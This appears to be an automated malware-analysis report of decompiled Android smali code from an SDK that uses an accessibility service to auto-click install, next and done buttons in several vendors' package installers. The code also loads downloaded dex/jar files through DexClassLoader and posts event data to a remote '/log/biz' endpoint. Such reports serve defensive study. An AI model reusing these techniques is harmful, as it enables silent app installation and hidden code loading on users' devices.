                              34invoke-virtual {v3, v0}, Lorg/json/JSONArray;->put(Ljava/lang/Object;)Lorg/json/JSONArray;
                              35new-instance v6, Ljava/lang/StringBuilder;
                              37invoke-direct {v6}, Ljava/lang/StringBuilder;-><init>()V
                              39invoke-virtual {v6, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
                              40move-result-object v0
                              42const-string/jumbo v6, "\n"
                              44invoke-virtual {v0, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              45move-result-object v0
                              47invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                              48move-result-object v0
                              50invoke-virtual {v4, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              51move v0, v2
                              52goto/16 :goto_19
                              53cond_4a: if-nez v0, :cond_4e
                              54move v0, v1
                              55goto_4d: return v0
                              56cond_4e:
                              57invoke-static {}, Lsdk/nicro/lu/t;->a()Lsdk/nicro/lu/h;
                              58move-result-object v0
                              59new-instance v5, Ljava/lang/StringBuilder;
                              61invoke-direct {v5}, Ljava/lang/StringBuilder;-><init>()V
                              63const-string/jumbo v6, "try send "
                              65invoke-virtual {v5, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              66move-result-object v5
                              68invoke-virtual {v5, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
                              69move-result-object v4
                              71const-string/jumbo v5, ""
                              73invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              74move-result-object v4
                              76invoke-virtual {v4}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                              77move-result-object v4
                              79invoke-interface {v0, v4}, Lsdk/nicro/lu/h;->c(Ljava/lang/String;)V
                              81invoke-virtual {v3}, Lorg/json/JSONArray;->length()I
                              82move-result v0
                              83if-gtz v0, :cond_78
                              84move v0, v1
                              85goto/16 :goto_4d
                              86cond_78:
                              87const-string/jumbo v0, ""
                              89iget-object v0, p0, Lsdk/nicro/lu/a;->e:Landroid/content/Context;
                              91invoke-static {v0}, Lsdk/nicro/lu/s;->a(Landroid/content/Context;)Lsdk/nicro/lu/s;
                              92move-result-object v0
                              94const-string/jumbo v4, "ADS_DATAEVENT_URL"
                              96const-string/jumbo v5, ""
                              98invoke-virtual {v0, v4, v5}, Lsdk/nicro/lu/s;->a(Ljava/lang/String;Ljava/lang/Object;)Ljava/lang/Object;
                              99move-result-object v0
                              100check-cast v0, Ljava/lang/String;
                              102const-string/jumbo v4, ""
                              104invoke-virtual {v0}, Ljava/lang/String;->trim()Ljava/lang/String;
                              105move-result-object v5
                              107invoke-virtual {v4, v5}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                              108move-result v4
                              109if-eqz v4, :cond_ab
                              110sget-boolean v0, Lsdk/nicro/lu/u;->c:Z
                              111if-eqz v0, :cond_10b
                              113iget-object v0, p0, Lsdk/nicro/lu/a;->e:Landroid/content/Context;
                              115invoke-static {v0}, Lsdk/nicro/lu/s;->a(Landroid/content/Context;)Lsdk/nicro/lu/s;
                              116move-result-object v0
                              118const-string/jumbo v4, "newdataevent"
                              120invoke-virtual {v0, v4}, Lsdk/nicro/lu/s;->b(Ljava/lang/String;)Ljava/lang/String;
                              121move-result-object v0
                              122goto_ab: new-instance v4, Ljava/net/URL;
                              123new-instance v5, Ljava/lang/StringBuilder;
                              125invoke-direct {v5}, Ljava/lang/StringBuilder;-><init>()V
                              127invoke-virtual {v5, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              128move-result-object v5
                              130const-string/jumbo v6, "/log/biz"
                              132invoke-virtual {v5, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              133move-result-object v5
                              135invoke-virtual {v5}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                              136move-result-object v5
                              138invoke-direct {v4, v5}, Ljava/net/URL;-><init>(Ljava/lang/String;)V
                              140invoke-direct {p0, v4}, Lsdk/nicro/lu/a;->a(Ljava/net/URL;)Ljava/net/HttpURLConnection;
                              141move-result-object v4
                              142const/4 v5, 0x1
                              144invoke-virtual {v4, v5}, Ljava/net/HttpURLConnection;->setDoInput(Z)V
                              145const/16 v5, 0x3a98
                              147invoke-virtual {v4, v5}, Ljava/net/HttpURLConnection;->setConnectTimeout(I)V
                              149const-string/jumbo v5, "Content-Type"
                              151const-string/jumbo v6, "application/json;charset=utf-8"
                              153invoke-virtual {v4, v5, v6}, Ljava/net/HttpURLConnection;->setRequestProperty(Ljava/lang/String;Ljava/lang/String;)V
                              155const-string/jumbo v5, "POST"
                              157invoke-virtual {v4, v5}, Ljava/net/HttpURLConnection;->setRequestMethod(Ljava/lang/String;)V
                              158const/4 v5, 0x1
                              160invoke-virtual {v4, v5}, Ljava/net/HttpURLConnection;->setDoOutput(Z)V
                              162invoke-virtual {v4}, Ljava/net/HttpURLConnection;->getOutputStream()Ljava/io/OutputStream;
                              163move-result-object v5
                              165invoke-virtual {v3}, Lorg/json/JSONArray;->toString()Ljava/lang/String;
                              166move-result-object v3
                              168invoke-virtual {v3}, Ljava/lang/String;->getBytes()[B
                              169move-result-object v3
                              171invoke-virtual {v5, v3}, Ljava/io/OutputStream;->write([B)V
                              173invoke-virtual {v4}, Ljava/net/HttpURLConnection;->getOutputStream()Ljava/io/OutputStream;
                              174move-result-object v3
                              176invoke-virtual {v3}, Ljava/io/OutputStream;->flush()V
                              178invoke-virtual {v4}, Ljava/net/HttpURLConnection;->connect()V
                              180invoke-virtual {v4}, Ljava/net/HttpURLConnection;->getResponseCode()I
                              181move-result v3
                              182const/16 v5, 0xc8
                              183if-ne v3, v5, :cond_119
                              185invoke-virtual {v4}, Ljava/net/HttpURLConnection;->disconnect()V
                              186move v0, v2
                              187goto/16 :goto_4d
                              188cond_10b:
                              189iget-object v0, p0, Lsdk/nicro/lu/a;->e:Landroid/content/Context;
                              191invoke-static {v0}, Lsdk/nicro/lu/s;->a(Landroid/content/Context;)Lsdk/nicro/lu/s;
                              192move-result-object v0
                              194const-string/jumbo v4, "dataevent"
                              196invoke-virtual {v0, v4}, Lsdk/nicro/lu/s;->b(Ljava/lang/String;)Ljava/lang/String;
                              197move-result-object v0
                              198goto/16 :goto_ab
                              199cond_119:
                              200invoke-virtual {v4}, Ljava/net/HttpURLConnection;->disconnect()V
                              202invoke-static {}, Lsdk/nicro/lu/t;->a()Lsdk/nicro/lu/h;
                              203move-result-object v2
                              204new-instance v4, Ljava/lang/StringBuilder;
                              206invoke-direct {v4}, Ljava/lang/StringBuilder;-><init>()V
                              208const-string/jumbo v5, "send event fail "
                              210invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              211move-result-object v4
                              213invoke-virtual {v4, v3}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
                              214move-result-object v3
                              216const-string/jumbo v4, " from "
                              218invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              219move-result-object v3
                              221invoke-virtual {v3, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              222move-result-object v0
                              224invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                              225move-result-object v0
                              227invoke-interface {v2, v0}, Lsdk/nicro/lu/h;->d(Ljava/lang/String;)V
                              228try_end_142: move v0, v1
                              229goto/16 :goto_4d
                              230catch_145: move-exception v0
                              232invoke-static {}, Lsdk/nicro/lu/t;->a()Lsdk/nicro/lu/h;
                              233move-result-object v2
                              235invoke-interface {v2, v0}, Lsdk/nicro/lu/h;->a(Ljava/lang/Throwable;)V
                              236move v0, v1
                              237goto/16 :goto_4d
                              Cross References
                              APIs
                              • android.view.accessibility.AccessibilityNodeInfo.findAccessibilityNodeInfosByViewId
                              • com.omgSdk.andoclib.AutoAccessibilityService.a
                              • android.view.accessibility.AccessibilityNodeInfo.findAccessibilityNodeInfosByViewId
                              • com.omgSdk.andoclib.AutoAccessibilityService.a
                              • android.view.accessibility.AccessibilityNodeInfo.findAccessibilityNodeInfosByViewId
                              • com.omgSdk.andoclib.AutoAccessibilityService.a
                              • android.view.accessibility.AccessibilityNodeInfo.findAccessibilityNodeInfosByViewId
                              • com.omgSdk.andoclib.AutoAccessibilityService.a
                              • android.view.accessibility.AccessibilityNodeInfo.findAccessibilityNodeInfosByViewId
                              • com.omgSdk.andoclib.AutoAccessibilityService.a
                              • android.view.accessibility.AccessibilityNodeInfo.findAccessibilityNodeInfosByViewId
                              • com.omgSdk.andoclib.AutoAccessibilityService.a
                              • android.view.accessibility.AccessibilityNodeInfo.findAccessibilityNodeInfosByViewId
                              • com.omgSdk.andoclib.AutoAccessibilityService.a
                              • android.view.accessibility.AccessibilityNodeInfo.findAccessibilityNodeInfosByViewId
                              • com.omgSdk.andoclib.AutoAccessibilityService.a
                              • android.view.accessibility.AccessibilityNodeInfo.findAccessibilityNodeInfosByViewId
                              • com.omgSdk.andoclib.AutoAccessibilityService.a
                              • android.view.accessibility.AccessibilityNodeInfo.findAccessibilityNodeInfosByViewId
                              • com.omgSdk.andoclib.AutoAccessibilityService.a
                              • com.omgSdk.andoclib.AutoAccessibilityService.createPackageContext
                              • android.content.Context.getResources
                              • android.content.res.Resources.getIdentifier
                              • android.content.Context.getResources
                              • android.content.res.Resources.getString
                              • android.view.accessibility.AccessibilityNodeInfo.findAccessibilityNodeInfosByText
                              • com.omgSdk.andoclib.AutoAccessibilityService.a
                              • android.content.Context.getResources
                              • android.content.res.Resources.getIdentifier
                              • android.content.Context.getResources
                              • android.content.res.Resources.getString
                              • android.view.accessibility.AccessibilityNodeInfo.findAccessibilityNodeInfosByText
                              • com.omgSdk.andoclib.AutoAccessibilityService.a
                              • android.content.Context.getResources
                              • android.content.res.Resources.getIdentifier
                              • android.content.Context.getResources
                              • android.content.res.Resources.getString
                              • android.view.accessibility.AccessibilityNodeInfo.findAccessibilityNodeInfosByText
                              • com.omgSdk.andoclib.AutoAccessibilityService.a
                              • android.content.pm.PackageManager$NameNotFoundException.printStackTrace
                              Strings
                              • com.android.packageinstaller:id/ok_button
                              • com.lenovo.security:id/ok_button
                              • com.android.packageinstaller:id/done_button
                              • com.lenovo.security:id/done_button
                              • com.android.packageinstaller:id/decide_to_continue
                              • com.android.packageinstaller:id/goinstall
                              • com.miui.packageinstaller:id/ok_button
                              • com.miui.packageinstaller:id/done_button
                              • com.android.packageinstaller:id/finish
                              • android:id/button1
                              • com.android.packageinstaller
                              • install
                              • string
                              • next
                              • done
                              • \u6ca1\u6709\u5b89\u88c5com.android.packageinstaller
                              Position Instruction Meta Information
                              0.annotation build Landroid/annotation/TargetApi;
                              1value = 0x12
                              2.end annotation
                              3.prologue
                              4const/4 v10, 0x1
                              5sget v0, Landroid/os/Build$VERSION;->SDK_INT:I
                              6const/16 v1, 0x12
                              7if-ge v0, v1, :cond_8
                              8goto_7: return-void
                              9cond_8: if-eqz p1, :cond_7
                              11const-string/jumbo v0, "com.android.packageinstaller:id/ok_button"
                              13const-string/jumbo v1, "com.lenovo.security:id/ok_button"
                              15const-string/jumbo v2, "com.android.packageinstaller:id/done_button"
                              17const-string/jumbo v3, "com.lenovo.security:id/done_button"
                              19const-string/jumbo v4, "com.android.packageinstaller:id/decide_to_continue"
                              21const-string/jumbo v5, "com.android.packageinstaller:id/goinstall"
                              23const-string/jumbo v6, "com.miui.packageinstaller:id/ok_button"
                              25const-string/jumbo v7, "com.miui.packageinstaller:id/done_button"
                              27const-string/jumbo v8, "com.android.packageinstaller:id/finish"
                              29const-string/jumbo v9, "android:id/button1"
                              31invoke-virtual {p1, v0}, Landroid/view/accessibility/AccessibilityNodeInfo;->findAccessibilityNodeInfosByViewId(Ljava/lang/String;)Ljava/util/List;
                              32move-result-object v0
                              34invoke-direct {p0, v0, v10}, Lcom/omgSdk/andoclib/AutoAccessibilityService;->a(Ljava/util/List;I)Z
                              35move-result v0
                              36if-nez v0, :cond_7
                              38invoke-virtual {p1, v2}, Landroid/view/accessibility/AccessibilityNodeInfo;->findAccessibilityNodeInfosByViewId(Ljava/lang/String;)Ljava/util/List;
                              39move-result-object v0
                              41invoke-direct {p0, v0, v10}, Lcom/omgSdk/andoclib/AutoAccessibilityService;->a(Ljava/util/List;I)Z
                              42move-result v0
                              43if-nez v0, :cond_7
                              45invoke-virtual {p1, v1}, Landroid/view/accessibility/AccessibilityNodeInfo;->findAccessibilityNodeInfosByViewId(Ljava/lang/String;)Ljava/util/List;
                              46move-result-object v0
                              48invoke-direct {p0, v0, v10}, Lcom/omgSdk/andoclib/AutoAccessibilityService;->a(Ljava/util/List;I)Z
                              49move-result v0
                              50if-nez v0, :cond_7
                              52invoke-virtual {p1, v3}, Landroid/view/accessibility/AccessibilityNodeInfo;->findAccessibilityNodeInfosByViewId(Ljava/lang/String;)Ljava/util/List;
                              53move-result-object v0
                              55invoke-direct {p0, v0, v10}, Lcom/omgSdk/andoclib/AutoAccessibilityService;->a(Ljava/util/List;I)Z
                              56move-result v0
                              57if-nez v0, :cond_7
                              59invoke-virtual {p1, v4}, Landroid/view/accessibility/AccessibilityNodeInfo;->findAccessibilityNodeInfosByViewId(Ljava/lang/String;)Ljava/util/List;
                              60move-result-object v0
                              62invoke-direct {p0, v0, v10}, Lcom/omgSdk/andoclib/AutoAccessibilityService;->a(Ljava/util/List;I)Z
                              63move-result v0
                              64if-nez v0, :cond_7
                              66invoke-virtual {p1, v5}, Landroid/view/accessibility/AccessibilityNodeInfo;->findAccessibilityNodeInfosByViewId(Ljava/lang/String;)Ljava/util/List;
                              67move-result-object v0
                              69invoke-direct {p0, v0, v10}, Lcom/omgSdk/andoclib/AutoAccessibilityService;->a(Ljava/util/List;I)Z
                              70move-result v0
                              71if-nez v0, :cond_7
                              73invoke-virtual {p1, v6}, Landroid/view/accessibility/AccessibilityNodeInfo;->findAccessibilityNodeInfosByViewId(Ljava/lang/String;)Ljava/util/List;
                              74move-result-object v0
                              76invoke-direct {p0, v0, v10}, Lcom/omgSdk/andoclib/AutoAccessibilityService;->a(Ljava/util/List;I)Z
                              77move-result v0
                              78if-nez v0, :cond_7
                              80invoke-virtual {p1, v7}, Landroid/view/accessibility/AccessibilityNodeInfo;->findAccessibilityNodeInfosByViewId(Ljava/lang/String;)Ljava/util/List;
                              81move-result-object v0
                              83invoke-direct {p0, v0, v10}, Lcom/omgSdk/andoclib/AutoAccessibilityService;->a(Ljava/util/List;I)Z
                              84move-result v0
                              85if-nez v0, :cond_7
                              87invoke-virtual {p1, v8}, Landroid/view/accessibility/AccessibilityNodeInfo;->findAccessibilityNodeInfosByViewId(Ljava/lang/String;)Ljava/util/List;
                              88move-result-object v0
                              90invoke-direct {p0, v0, v10}, Lcom/omgSdk/andoclib/AutoAccessibilityService;->a(Ljava/util/List;I)Z
                              91move-result v0
                              92if-nez v0, :cond_7
                              94invoke-virtual {p1, v9}, Landroid/view/accessibility/AccessibilityNodeInfo;->findAccessibilityNodeInfosByViewId(Ljava/lang/String;)Ljava/util/List;
                              95move-result-object v0
                              97invoke-direct {p0, v0, v10}, Lcom/omgSdk/andoclib/AutoAccessibilityService;->a(Ljava/util/List;I)Z
                              98move-result v0
                              99if-nez v0, :cond_7
                              100try_start_8c:
                              101const-string/jumbo v0, "com.android.packageinstaller"
                              102const/4 v1, 0x3
                              104invoke-virtual {p0, v0, v1}, Lcom/omgSdk/andoclib/AutoAccessibilityService;->createPackageContext(Ljava/lang/String;I)Landroid/content/Context;
                              105move-result-object v1
                              106if-eqz v1, :cond_7
                              108invoke-virtual {v1}, Landroid/content/Context;->getResources()Landroid/content/res/Resources;
                              109move-result-object v2
                              111const-string/jumbo v3, "install"
                              113const-string/jumbo v4, "string"
                              115invoke-virtual {v2, v3, v4, v0}, Landroid/content/res/Resources;->getIdentifier(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;)I
                              116move-result v2
                              117if-eqz v2, :cond_b9
                              119invoke-virtual {v1}, Landroid/content/Context;->getResources()Landroid/content/res/Resources;
                              120move-result-object v3
                              122invoke-virtual {v3, v2}, Landroid/content/res/Resources;->getString(I)Ljava/lang/String;
                              123move-result-object v2
                              125invoke-virtual {p1, v2}, Landroid/view/accessibility/AccessibilityNodeInfo;->findAccessibilityNodeInfosByText(Ljava/lang/String;)Ljava/util/List;
                              126move-result-object v2
                              127const/4 v3, 0x1
                              129invoke-direct {p0, v2, v3}, Lcom/omgSdk/andoclib/AutoAccessibilityService;->a(Ljava/util/List;I)Z
                              130move-result v2
                              131if-nez v2, :cond_7
                              132cond_b9:
                              133invoke-virtual {v1}, Landroid/content/Context;->getResources()Landroid/content/res/Resources;
                              134move-result-object v2
                              136const-string/jumbo v3, "next"
                              138const-string/jumbo v4, "string"
                              140invoke-virtual {v2, v3, v4, v0}, Landroid/content/res/Resources;->getIdentifier(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;)I
                              141move-result v2
                              142if-eqz v2, :cond_dc
                              144invoke-virtual {v1}, Landroid/content/Context;->getResources()Landroid/content/res/Resources;
                              145move-result-object v3
                              147invoke-virtual {v3, v2}, Landroid/content/res/Resources;->getString(I)Ljava/lang/String;
                              148move-result-object v2
                              150invoke-virtual {p1, v2}, Landroid/view/accessibility/AccessibilityNodeInfo;->findAccessibilityNodeInfosByText(Ljava/lang/String;)Ljava/util/List;
                              151move-result-object v2
                              152const/4 v3, 0x1
                              154invoke-direct {p0, v2, v3}, Lcom/omgSdk/andoclib/AutoAccessibilityService;->a(Ljava/util/List;I)Z
                              155move-result v2
                              156if-nez v2, :cond_7
                              157cond_dc:
                              158invoke-virtual {v1}, Landroid/content/Context;->getResources()Landroid/content/res/Resources;
                              159move-result-object v2
                              161const-string/jumbo v3, "done"
                              163const-string/jumbo v4, "string"
                              165invoke-virtual {v2, v3, v4, v0}, Landroid/content/res/Resources;->getIdentifier(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;)I
                              166move-result v0
                              167if-eqz v0, :cond_7
                              169invoke-virtual {v1}, Landroid/content/Context;->getResources()Landroid/content/res/Resources;
                              170move-result-object v1
                              172invoke-virtual {v1, v0}, Landroid/content/res/Resources;->getString(I)Ljava/lang/String;
                              173move-result-object v0
                              175invoke-virtual {p1, v0}, Landroid/view/accessibility/AccessibilityNodeInfo;->findAccessibilityNodeInfosByText(Ljava/lang/String;)Ljava/util/List;
                              176move-result-object v0
                              177const/4 v1, 0x1
                              179invoke-direct {p0, v0, v1}, Lcom/omgSdk/andoclib/AutoAccessibilityService;->a(Ljava/util/List;I)Z
                              180try_end_fc: move-result v0
                              181if-eqz v0, :cond_7
                              182goto/16 :goto_7
                              183catch_101: move-exception v0
                              185const-string/jumbo v1, "\u6ca1\u6709\u5b89\u88c5com.android.packageinstaller"
                              187invoke-static {v1}, Lcom/omg/tool/log/Logger;->D(Ljava/lang/String;)V
                              189invoke-virtual {v0}, Landroid/content/pm/PackageManager$NameNotFoundException;->printStackTrace()V
                              190goto/16 :goto_7
                              APIs
                              • android.content.Context.getFilesDir
                              • java.lang.StringBuilder.<init>
                              • android.os.Build.MODEL:Ljava/lang/String
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.toString
                              • java.lang.String.substring
                              • java.io.File.<init>
                              • java.io.File.exists
                              • java.io.File.mkdirs
                              • java.io.File.<init>
                              • android.content.Context.getCacheDir
                              • java.lang.StringBuilder.<init>
                              • java.lang.StringBuilder.<init>
                              • android.os.Build.MANUFACTURER:Ljava/lang/String
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.toString
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.toString
                              • java.io.File.<init>
                              • java.io.File.exists
                              • java.io.File.getPath
                              • java.io.File.getPath
                              • java.lang.Object.getClass
                              • java.lang.Class.getClassLoader
                              • dalvik.system.DexClassLoader.<init>
                              • java.io.File.delete
                              • java.lang.StringBuilder.<init>
                              • java.io.File.getName
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.toString
                              • java.io.File.<init>
                              • java.io.File.delete
                              • java.lang.StringBuilder.<init>
                              • java.lang.StringBuilder.append
                              • java.io.File.getPath
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.toString
                              • sdk.nicro.lu.ps.g.<init>
                              • sdk.nicro.lu.ps.g.<init>
                              • java.io.File.getPath
                              • java.io.File.getPath
                              • java.lang.Object.getClass
                              • java.lang.Class.getClassLoader
                              • dalvik.system.DexClassLoader.<init>
                              Strings
                              • dexopt
                              • .jar
                              • launch
                              • delete
                              • .dex
                              • move
                              • to temp path fail
                              Position Instruction Meta Information
                              0.prologue
                              1try_start_0: new-instance v0, Ljava/io/File;
                              3invoke-virtual {p1}, Landroid/content/Context;->getFilesDir()Ljava/io/File;
                              4move-result-object v1
                              5new-instance v2, Ljava/lang/StringBuilder;
                              7invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
                              9sget-object v3, Landroid/os/Build;->MODEL:Ljava/lang/String;
                              11invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              12move-result-object v2
                              14const-string/jumbo v3, "dexopt"
                              16invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              17move-result-object v2
                              19invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                              20move-result-object v2
                              22invoke-static {v2}, Lsdk/nicro/lu/d;->a(Ljava/lang/String;)Ljava/lang/String;
                              23move-result-object v2
                              24const/4 v3, 0x0
                              25const/4 v4, 0x6
                              27invoke-virtual {v2, v3, v4}, Ljava/lang/String;->substring(II)Ljava/lang/String;
                              28move-result-object v2
                              30invoke-direct {v0, v1, v2}, Ljava/io/File;-><init>(Ljava/io/File;Ljava/lang/String;)V
                              32invoke-virtual {v0}, Ljava/io/File;->exists()Z
                              33move-result v1
                              34if-nez v1, :cond_32
                              36invoke-virtual {v0}, Ljava/io/File;->mkdirs()Z
                              37cond_32: new-instance v1, Ljava/io/File;
                              39invoke-virtual {p2}, Lsdk/nicro/lu/ps/h;->c()Ljava/lang/String;
                              40move-result-object v2
                              42invoke-direct {v1, v2}, Ljava/io/File;-><init>(Ljava/lang/String;)V
                              43new-instance v2, Ljava/io/File;
                              45invoke-virtual {p1}, Landroid/content/Context;->getCacheDir()Ljava/io/File;
                              46move-result-object v3
                              47new-instance v4, Ljava/lang/StringBuilder;
                              49invoke-direct {v4}, Ljava/lang/StringBuilder;-><init>()V
                              50new-instance v5, Ljava/lang/StringBuilder;
                              52invoke-direct {v5}, Ljava/lang/StringBuilder;-><init>()V
                              54sget-object v6, Landroid/os/Build;->MANUFACTURER:Ljava/lang/String;
                              56invoke-virtual {v5, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              57move-result-object v5
                              59invoke-virtual {p2}, Lsdk/nicro/lu/ps/h;->a()Ljava/lang/String;
                              60move-result-object v6
                              62invoke-virtual {v5, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              63move-result-object v5
                              65invoke-virtual {p2}, Lsdk/nicro/lu/ps/h;->b()I
                              66move-result v6
                              68invoke-virtual {v5, v6}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
                              69move-result-object v5
                              71invoke-virtual {v5}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                              72move-result-object v5
                              74invoke-static {v5}, Lsdk/nicro/lu/d;->a(Ljava/lang/String;)Ljava/lang/String;
                              75move-result-object v5
                              77invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              78move-result-object v4
                              80const-string/jumbo v5, ".jar"
                              82invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              83move-result-object v4
                              85invoke-virtual {v4}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                              86move-result-object v4
                              88invoke-direct {v2, v3, v4}, Ljava/io/File;-><init>(Ljava/io/File;Ljava/lang/String;)V
                              89try_end_7b:
                              90invoke-static {v1, v2}, Lsdk/nicro/lu/i;->b(Ljava/io/File;Ljava/io/File;)V
                              91try_end_7e: if-eqz v0, :cond_d6
                              92try_start_80:
                              93invoke-virtual {v2}, Ljava/io/File;->exists()Z
                              94move-result v1
                              95if-eqz v1, :cond_d6
                              97const-string/jumbo v1, "launch"
                              99invoke-virtual {p2, v1}, Lsdk/nicro/lu/ps/h;->f(Ljava/lang/String;)Z
                              100move-result v1
                              101if-eqz v1, :cond_104
                              102new-instance v1, Ldalvik/system/DexClassLoader;
                              104invoke-virtual {v2}, Ljava/io/File;->getPath()Ljava/lang/String;
                              105move-result-object v3
                              107invoke-virtual {v0}, Ljava/io/File;->getPath()Ljava/lang/String;
                              108move-result-object v4
                              109const/4 v5, 0x0
                              111invoke-virtual {p0}, Ljava/lang/Object;->getClass()Ljava/lang/Class;
                              112move-result-object v6
                              114invoke-virtual {v6}, Ljava/lang/Class;->getClassLoader()Ljava/lang/ClassLoader;
                              115move-result-object v6
                              117invoke-direct {v1, v3, v4, v5, v6}, Ldalvik/system/DexClassLoader;-><init>(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/ClassLoader;)V
                              118iput-object v1, p0, Lsdk/nicro/lu/ps/f$b;->d:Ljava/lang/ClassLoader;
                              119goto_a7: iput-object p1, p0, Lsdk/nicro/lu/ps/f$b;->e:Landroid/content/Context;
                              121const-string/jumbo v1, "delete"
                              122const/4 v3, 0x0
                              124invoke-virtual {p2, v1, v3}, Lsdk/nicro/lu/ps/h;->a(Ljava/lang/String;Z)Z
                              125move-result v1
                              126if-eqz v1, :cond_b6
                              128invoke-virtual {v2}, Ljava/io/File;->delete()Z
                              129cond_b6: new-instance v1, Ljava/io/File;
                              130new-instance v3, Ljava/lang/StringBuilder;
                              132invoke-direct {v3}, Ljava/lang/StringBuilder;-><init>()V
                              134invoke-virtual {v2}, Ljava/io/File;->getName()Ljava/lang/String;
                              135move-result-object v2
                              137invoke-virtual {v3, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              138move-result-object v2
                              140const-string/jumbo v3, ".dex"
                              142invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              143move-result-object v2
                              145invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                              146move-result-object v2
                              148invoke-direct {v1, v0, v2}, Ljava/io/File;-><init>(Ljava/io/File;Ljava/lang/String;)V
                              150invoke-virtual {v1}, Ljava/io/File;->delete()Z
                              151cond_d6: return-void
                              152catch_d7: move-exception v0
                              153new-instance v2, Lsdk/nicro/lu/ps/g;
                              154new-instance v3, Ljava/lang/StringBuilder;
                              156invoke-direct {v3}, Ljava/lang/StringBuilder;-><init>()V
                              158const-string/jumbo v4, "move "
                              160invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              161move-result-object v3
                              163invoke-virtual {v1}, Ljava/io/File;->getPath()Ljava/lang/String;
                              164move-result-object v1
                              166invoke-virtual {v3, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              167move-result-object v1
                              169const-string/jumbo v3, " to temp path fail"
                              171invoke-virtual {v1, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              172move-result-object v1
                              174invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                              175move-result-object v1
                              177invoke-direct {v2, v1, v0}, Lsdk/nicro/lu/ps/g;-><init>(Ljava/lang/String;Ljava/lang/Exception;)V
                              178throw v2
                              179try_end_fd: move-exception v0
                              180new-instance v1, Lsdk/nicro/lu/ps/g;
                              182invoke-direct {v1, v0}, Lsdk/nicro/lu/ps/g;-><init>(Ljava/lang/Throwable;)V
                              183throw v1
                              184try_start_104: new-instance v1, Ldalvik/system/DexClassLoader;
                              186invoke-virtual {v2}, Ljava/io/File;->getPath()Ljava/lang/String;
                              187move-result-object v3
                              189invoke-virtual {v0}, Ljava/io/File;->getPath()Ljava/lang/String;
                              190move-result-object v4
                              191const/4 v5, 0x0
                              193invoke-virtual {p0}, Ljava/lang/Object;->getClass()Ljava/lang/Class;
                              194move-result-object v6
                              196invoke-virtual {v6}, Ljava/lang/Class;->getClassLoader()Ljava/lang/ClassLoader;
                              197move-result-object v6
                              199invoke-direct {v1, v3, v4, v5, v6}, Ldalvik/system/DexClassLoader;-><init>(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/ClassLoader;)V
                              200iput-object v1, p0, Lsdk/nicro/lu/ps/f$b;->d:Ljava/lang/ClassLoader;
                              201try_end_11c: goto/16 :goto_a7
                              APIs
                              • android.content.Context.getFilesDir
                              • java.io.File.<init>
                              • java.io.File.exists
                              • java.io.File.mkdirs
                              • java.io.File.<init>
                              • java.lang.StringBuilder.<init>
                              • java.lang.StringBuilder.<init>
